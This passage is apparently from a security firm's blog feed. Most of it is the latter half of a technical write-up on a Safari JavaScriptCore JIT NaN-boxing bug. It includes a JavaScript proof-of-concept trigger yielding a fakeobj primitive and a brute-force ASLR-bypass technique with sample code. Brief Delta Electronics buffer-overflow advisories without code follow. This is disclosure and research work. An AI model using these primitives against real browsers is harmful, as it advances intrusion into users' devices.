Now that we see what the bug is, let’s take a look at how it can be reached from JavaScript. In order to hit the bug, we will need to make use of the for…in enumeration in JavaScript.

Take a look at the following code that shows a JS for-in loop, which will enumerate all the property names of the obj object.

				
					obj = {x:1, y:1}
function forin(arg) {
    for (let i in obj) {
    
        // [1]
        let out = arg[i];
    }
}
				
			

At [1], the value of the currently enumerated property name (i variable in the snippet) is fetched from the arg object. When the code is being JIT compiled, [1] will be represented by the DFG IR opcode EnumeratorGetByVal. When this opcode is compiled into assembly code in the DFG JIT compiler, it reaches the following piece of code.

				
					// File - Source/JavaScriptCore/dfg/DFGSpeculativeJIT64.cpp
    case EnumeratorGetByVal: {
        compileEnumeratorGetByVal(node);
        break;
    }
				
			

As we can see, this is just calling the compileEnumeratorGetByVal() function which contains the logic to convert this opcode into native assembly. Let’s look at the definition of this function.

				
					// File - Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp
void SpeculativeJIT::compileEnumeratorGetByVal(Node* node)
{
    Edge baseEdge = m_graph.varArgChild(node, 0);
    auto generate = [&amp;] (JSValueRegs baseRegs) {

[TRUNCATED]

[1]

        compileGetByVal(node, scopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat)>([&amp;] (DataFormat) {
        
[TRUNCATED]

            notFastNamedCases.link(&amp;m_jit);
            
[2]
            return std::tuple { resultRegs, DataFormatJS, CanUseFlush::No };
        }));
        
[TRUNCATED]
    };

    if (isCell(baseEdge.useKind())) {
        // Use manual operand speculation since Fixup may have picked a UseKind more restrictive than CellUse.
        SpeculateCellOperand base(this, baseEdge, ManualOperandSpeculation);
        speculate(node, baseEdge);
        generate(JSValueRegs::payloadOnly(base.gpr()));
    } else {
        JSValueOperand base(this, baseEdge);
        generate(base.regs());
    }
				
			

The compileEnumeratorGetByVal() calls the generate() closure. This closure calls the compileGetByVal() function at [1]. This function
is responsible for handling the compilation of all indexed accesses from all types of arrays. The compileEnumeratorGetByVal() calls this function informing it to handle all the indexed accesses in the enumerator loop. This is done using the lambda function that is passed as an argument to compileGetByVal(). At [2], the lambda returns a tuple, the first value being the register where the current value of the indexed load is to be stored and the second value being the format in which it should be stored. As we can see, the second value is always a constant – DataFormatJS – informing that the loaded value is always to be stored in the JSValue format.

In case arg in the JS snippet above is the floating point typed array Float64Array, then the following parts of the compileGetByVal() function will be executed:

				
					// File - Source/JavaScriptCore/dfg/DFGSpeculativeJIT64.cpp
void SpeculativeJIT::compileGetByVal(Node* node, const ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>&amp; prefix)
{
    switch (node->arrayMode().type()) {

// [TRUNCATED]

// [1]

    case Array::Float32Array:
    case Array::Float64Array: {
        TypedArrayType type = node->arrayMode().typedArrayType();
        if (isInt(type))
            compileGetByValOnIntTypedArray(node, type, prefix);
        else
        
// [2]
        
            compileGetByValOnFloatTypedArray(node, type, prefix);
    } }
}
				
			

If the array that is being accessed is a Float64Array array, then the function that is called is compileGetByValOnFloatTypedArray(), which is the vulnerable function. The next important point is that the compileEnumeratorGetByVal() function is saying that the result of the element fetch is to be stored in the JSValue format using the return value of the lambda that we saw above. In this manner, our vulnerable function is called with a Floating Point Typed Array that we control, and with the compiler being told that the value being fetched is to be converted from a raw double to a JSValue double. Keep in mind that the values in Floating Point Typed arrays can be made into “impure NaN” values by changing the underlying array buffer contents using a typed array of another type as shown below:

				
					let abuf       = new ArrayBuffer(0x10);
let bigint_buf = new BigUint64Array(abuf);
let float_buf  = new Float64Array(abuf);

bigint_buf[0] = 0xfffe_0000_0000_0000;
				
			

After the above snippet is run, the raw float in float_buf[0] will be 0xfffe_0000_0000_0000. Using this value we can trigger the bug to trick the JS engine to think that an arbitrary number is a pointer to a JSObject.

In summary, the boxDouble() function assumes that the double value that is passed to it as an argument is a valid double value or a “pure NaN” (0x7ff8000000000000) and has no checks to verify that the result did not overflow. Hence, it is the job of the caller to ensure this condition is satisfied before calling this function. If there is a call site that does not respect this and directly calls this function with a raw user controlled double value, then the attacker can gain full control of a JSValue and fake a pointer to a JSObject by using the overflow to build a very powerful fakeobj primitive.

The compileGetByValOnFloatTypedArray() function does not check that the raw double fetched from a Float64Array is indeed a valid float or not. It just blindly passes it to the boxDouble() function at [3] which makes this vulnerable to the technique described above. If an attacker can trigger this code path, it is possible to achieve the fake object primitive as shown above.

Triggering the Bug

Finally let’s look at the full JavaScript trigger for this bug:

				
					let abuf = new ArrayBuffer(0x10);
let bbuf = new BigUint64Array(abuf);
let fbuf = new Float64Array(abuf);

obj = {x:1234, y:1234};

function trigger(arg, a2) {
    for (let i in obj) {
        obj = [1];
        let out = arg[i];
        a2.x = out;
    }
}
noInline(trigger)

function main() {

    t = {x: {}};
    trigger(obj, t);

// [1]
    for (let i = 0 ; i < 0x1000; i++) {
      trigger(fbuf,t);
    }

// [2]
    bbuf[0] = 0xfffe0000_12345678n;
    trigger(fbuf, t);
    
// [3]    
    t.x;
}

main()
				
			

In the above PoC, the trigger() function is the one that will trigger the vulnerability. At [1] we call the trigger() function in a loop with a  Float64Array that contains a normal benign float – that is no impure NaNs. This is done to train the compiler into emitting the code we want. After this, at [2], we use a BigUint64Array to change the first element of the Float64Array to an impure NaN. Then we call the trigger() function again. This time the bug will trigger and the engine will think that 0x12345678 is a pointer to a valid JSObject. This JSValue is stored in t.x and when we return from the function, we access t.x at [3]. This causes the engine to dereference the pointer which obviously points to an invalid address and crashes the engine while accessing 0x12345678.

Bypassing ASLR

While we have a fakeobj primitive from the bug, we still are constrained by the fact that we don’t have an ASLR bypass and hence can’t fake anything without crashing the engine. However, when we were researching a different case on JSC, we saw some interesting DFG IR.

CompareStrictEq opcode and assembly - type checking

The image shows the assembly that is emitted by the CompareStrictEq IR opcode, which is used to denote JavaScript’s Strict Equality operation in DFG IR. In this case, the LHS (Left Hand Side) D@27 is being compared against the RHS (Right Hand Side) D@34. From the above image, we see that the LHS is not typed – which means that the DFG JIT compiler did not make any assumptions on its type. We can also see that the RHS is typed to Object. This means that the compiler assumes that in this case, the RHS of the === operation is assumed to be a Javascript object by the compiler and it has to verify that this assumption holds. Again, from the image we can see that the compiler has indeed emitted checks to make sure that the type of RHS is checked.

After the type of the RHS is checked, we can see the actual logic for comparing LHS and RHS as in the image below. The code simply compares LHS and RHS with the x86 cmp instruction (this code was generated on an x86-64 Linux machine). This means that in case LHS is not a valid pointer it can still get checked against the pointer to a valid object. Also the return value of this can be read in JavaScript. Therefore we can compare an invalid pointer with a valid pointer and check to see if they are equal without triggering any crash or abnormal behaviour. These are the perfect ingredients for brute-forcing an address! We can use our fakeobj primitive from the NaN bug to get the engine into believing that arbitrary numbers that we control are actually pointers. Then we can compare this fake invalid pointer against a valid one. If the result is true, then we just correctly guessed the address of the valid pointer. Else we update the invalid pointer to a new value and then rinse and repeat the procedure.

CompareStrictEq - pointer comparison

In this way we have a mechanism to use the bug to brute force and find the address of an object pointer in memory. While this technique works, it is also extremely slow taking more than an hour to brute force 32-bits on an M1 mac. Hence its necessary to
improve it to get it to run faster.

Optimizing the Brute Force

Initially we were brute forcing the pointer with something like this:

				
					let object_to_leak = {p1: 0x1337, p2: 0x1337};

for (let i=0n; i<0xffff_ffffn; i+=1n) {
    let fake_pointer = fakeobj(i);
    let result = brute_force(fake_pointer, object_to_leak);
    
    if (result) {
        print('Found the address at: '+ hex(i));
        break;
    }
}
				
			

The first issue with the above is that the address is incremented by one on each loop iteration in the brute force loop. It’s given that the address of any object will be aligned to a multiple of 8. Hence, instead of single stepping in the for loop, an addition of 8 can be done to the loop variable after each iteration. This will give a significant 8x speed up over the original PoC without making any additions assumptions. However, this is still too slow for a browser exploit especially seeing that the iOS and MacOS architectures have 64-bit pointers and not 32-bit.

We observed that on MacOS and iOS the JavaScriptCore heap addresses were always 5 bytes (40 bits) long. Another observation was that, if the exploit is run on a JS worker, and an object is created at the very beginning of the exploit, then the address of the object was always page aligned which means that the last 12 bits of the address of the object were always zero. Using these observations can greatly speed up the brute force as now the object whose address is to be leaked, can be created at the beginning of the exploit before any other object has been initialized, and then, in the brute force loop, the loop variable can be stepped over by 0x1000 instead of 1 or 8 giving a 4096x speed up over the original PoC. This is a huge speed up and now a 5-byte address can be brute forced in seconds.

Summary

The bug we discussed arose from the fact that DFG and FTL loaded a raw double from a typed array and proceeded to convert it into a JSValue double without verifying that the raw double was indeed a valid double or a pure NaN. This led us to achieve a fakeobj primitive whereby we could get the engine to think that any address we wanted is a pointer to a JSObject. After that we used JIT compiled code to brute force ASLR, using the fakeobj primitive, to leak the address of an object. This could be turned into a full addrof primitive, which can leak the address of any JSObject. Using a fakeobj and an addrof primitive, it is possible to achieve arbitrary read/write in the Safari renderer process.

Conclusion

The vulnerabilities discussed in this blog post and the referenced conference talk were introduced due to Apple performing large code commmits in the JavaScriptCore repository, specifically to optimize the for-in functionality of JavaScript. Browsers are ever-evolving large pieces of software, with many modules being added and stripped continually. Smart fuzzing and source-code audits are gradually being adoped into the software development lifecycle at large vendors, but they haven’t yet caught up to the offensive research industry.

About Exodus Intelligence

Our world class team of vulnerability researchers discover hundreds of exclusive Zero-Day vulnerabilities, providing our clients with proprietary knowledge before the adversaries find them. We also conduct N-Day research, where we select critical N-Day vulnerabilities and complete research to prove whether these vulnerabilities are truly exploitable in the wild.

For more information on our products and how we can help your vulnerability efforts, visit www.exodusintel.com or contact [email protected] for further discussion.

The post Safari, Hold Still for NaN Minutes! appeared first on Exodus Intelligence.

Delta Electronics WPLSoft Buffer-Overflow

18 January 2024 at 10:45

EIP-b3263b51

A buffer overflow vulnerability exists in Delta Electronics WPLSoft. An anonymous attacker can exploit this vulnerability by enticing a user to open a specially crafted DVP file to achieve code execution.

Vulnerability Identifier

  • Exodus Intelligence: EIP-b3263b51
  • MITRE: CVE-2023-5130

Vulnerability Metrics

  • CVSSv2 Vector: AV:N/AC:H/Au:N/C:C/I:P/A:C
  • CVSSv2 Score: 7.3 

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to vendor: March 8, 2023
  • Vendor response to disclosure: March 22, 2023
  • Disclosed to public: January 18, 2024

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected]

The post Delta Electronics WPLSoft Buffer-Overflow appeared first on Exodus Intelligence.

Delta Electronics Delta Industrial Automation DOPSoft DPS File wKPFStringLen Buffer Overflow Remote Code Execution

18 January 2024 at 14:07

EIP-ba7ef91e

A buffer overflow vulnerability exists in Delta Electronics Delta Industrial Automation DOPSoft version 2 when parsing the wKPFStringLen field of a DPS file. An anonymous attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve code execution.

Vulnerability Identifier

  • Exodus Intelligence: EIP-ba7ef91e
  • MITRE: CVE-2023-43816

Vulnerability Metrics

  • CVSSv2 Vector: AV:N/AC:M/Au:N/C:P/I:P/A:P
  • CVSSv2 Score: 6.8

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline 

  • Disclosed to vendor: March 8, 2023
  • Vendor response to disclosure: March 22, 2023
  • Disclosed to public: January 18, 2024

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected]

The post Delta Electronics Delta Industrial Automation DOPSoft DPS File wKPFStringLen Buffer Overflow Remote Code Execution appeared first on Exodus Intelligence.

Delta Electronics Delta Industrial Automation DOPSoft DPS File wMailContentLen Buffer Overflow Remote Code Execution

18 January 2024 at 14:08

EIP-a31ff40d

A buffer overflow exists in Delta Electronics Delta Industrial Automation DOPSoft version 2 when parsing the wMailContentLen field of a DPS file. An anonymous attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve code execution.

Vulnerability Identifier

  • Exodus Intelligence: EIP-a31ff40d
  • MITRE: CVE-2023-43817

Vulnerability Metrics

  • CVSSv2 Vector: AV:N/AC:M/Au:N/C:P/I:P/A:P
  • CVSSv2 Score: 6.8

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to vendor: March 8, 2023
  • Vendor response to disclosure: March 22, 2023
  • Disclosed to public: January 18, 2024

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected]

The post Delta Electronics Delta Industrial Automation DOPSoft DPS File wMailContentLen Buffer Overflow Remote Code Execution appeared first on Exodus Intelligence.

Delta Electronics Delta Industrial Automation DOPSoft DPS File wScreenDESCTextLen Buffer Overflow Remote Code Execution

18 January 2024 at 21:10

EIP-fe441d93

A buffer overflow vulnerability exists in Delta Electronics Delta Industrial Automation DOPSoft version 2 when parsing the wScreenDESCTextLen field of a DPS file. An anonymous attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve code execution.

Vulnerability Identifier

  • Exodus Intelligence: EIP-fe441d93
  • MITRE: CVE-2023-43815

Vulnerability Metrics

  • CVSSv2 Vector: AV:N/AC:M/Au:N/C:P/I:P/A:P
  • CVSSv2 Score: 6.8

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to vendor: March 8, 2023
  • Vendor response to disclosure: March 22, 2023
  • Disclosed to public: January 18, 2024

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected]

The post Delta Electronics Delta Industrial Automation DOPSoft DPS File wScreenDESCTextLen Buffer Overflow Remote Code Execution appeared first on Exodus Intelligence.

Delta Electronics ISPSoft Heap Buffer-Overflow

18 January 2024 at 21:10

EIP-a76f2f23

A heap buffer-overflow exists in Delta Electronics ISPSoft. An anonymous attacker can exploit this vulnerability by enticing a user to open a specially crafted DVP file to achieve code execution.

Vulnerability Identifier

  • Exodus Intelligence: EIP-a76f2f23
  • MITRE: CVE-2023-5131

Vulnerability Metrics

  • CVSSv2 Vector: AV:N/AC:H/Au:N/C:C/I:P/A:C
  • CVSSv2 Score: 7.3

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to vendor: March 8, 2023
  • Vendor response to disclosure: March 22, 2023
  • Disclosed to public: January 18, 2024

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected]

The post Delta Electronics ISPSoft Heap Buffer-Overflow appeared first on Exodus Intelligence.

Delta Electronics Delta Industrial Automation DOPSoft DPS File wTitleTextLen Buffer Overflow Remote Code Execution

18 January 2024 at 21:10

EIP-10b37d9e

A stack based buffer overflow exists in Delta Electronics Delta Industrial Automation DOPSoft when parsing the wTitleTextLen field of a DPS file. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve remote code execution.

Vulnerability Identifier

  • Exodus Intelligence: EIP-10b37d9e
  • MITRE: CVE-2023-43824

Vulnerability Metrics

  • CVSSv2 Vector: AV:N/AC:M/Au:N/C:P/I:P/A:P
  • CVSSv2 Score: 6.8

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to Vendor: March 8, 2023
  • Vendor response to disclosure: March 22, 2023
  • Disclosed to public: January 18, 2024

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected]

The post Delta Electronics Delta Industrial Automation DOPSoft DPS File wTitleTextLen Buffer Overflow Remote Code Execution appeared first on Exodus Intelligence.

Delta Electronics Delta Industrial Automation DOPSoft DPS File wTTitleLen Buffer Overflow Remote Code Execution

18 January 2024 at 21:10

EIP-2fdb5241

A stack based buffer overflow exists in Delta Electronics Delta Industrial Automation DOPSoft when parsing the wTTitleLen field of a DPS file. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve remote code execution.

Vulnerability Identifier

  • Exodus Intelligence: EIP-2fdb5241
  • MITRE: CVE-2023-43823

Vulnerability Metrics

  • CVSSv2 Vector: AV:N/AC:M/Au:N/C:P/I:P/A:P
  • CVSSv2 Score: 6.8

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to Vendor: March 8, 2023
  • Vendor response to disclosure: March 22, 2023
  • Disclosed to public: January 18, 2024

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected]

The post Delta Electronics Delta Industrial Automation DOPSoft DPS File wTTitleLen Buffer Overflow Remote Code Execution appeared first on Exodus Intelligence.

❌
❌